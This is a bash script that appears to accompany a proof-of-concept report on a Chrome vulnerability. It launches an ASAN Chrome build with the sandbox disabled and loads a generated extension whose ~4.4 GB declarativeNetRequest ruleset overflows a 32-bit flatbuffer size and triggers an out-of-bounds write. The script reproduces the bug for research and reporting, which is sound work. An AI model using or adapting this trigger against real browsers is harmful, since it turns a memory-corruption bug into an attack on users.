#!/bin/bash
# Run the DNR flatbuffer-overflow POC against an ASAN Chrome build.
#
# Requires ~50-80 GiB free RAM under ASAN (the ruleset JSON is ~4.4 GB and
# the FlatBufferBuilder grows past 4 GiB before its 32-bit size_ wraps).
set -e

POC_DIR="$(cd "$(dirname "$0")" && pwd)"
EXT_DIR="$POC_DIR/extension"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/dnr-poc-profile.XXXXXX)"

if [ ! -f "$EXT_DIR/rules.json" ]; then
  echo "[*] generating extension (writes a ~4.4 GiB rules.json)..."
  python3 "$POC_DIR/generate_extension.py"
fi

echo "[*] launching $CHROME with --load-extension=$EXT_DIR"
echo "[*] profile dir: $PROFILE"
echo "[*] indexing happens on a browser-process worker thread; wait several"
echo "    minutes for the multi-GiB JSON to be parsed before the OOB fires."

# detect_container_overflow=0: large std::string moves trip false positives.
export ASAN_OPTIONS="${ASAN_OPTIONS:-detect_odr_violation=0:detect_container_overflow=0:detect_leaks=0:strict_memcmp=1:symbolize=1}"
export ASAN_SYMBOLIZER_PATH="${ASAN_SYMBOLIZER_PATH:-/chromium/chromium/src/third_party/llvm-build/Release+Asserts/bin/llvm-symbolizer}"

exec "$CHROME" \
  --no-sandbox \
  --disable-gpu \
  --no-first-run \
  --no-default-browser-check \
  --user-data-dir="$PROFILE" \
  --disable-extensions-except="$EXT_DIR" \
  --load-extension="$EXT_DIR" \
  --enable-logging=stderr \
  --v=0 \
  about:blank 2>&1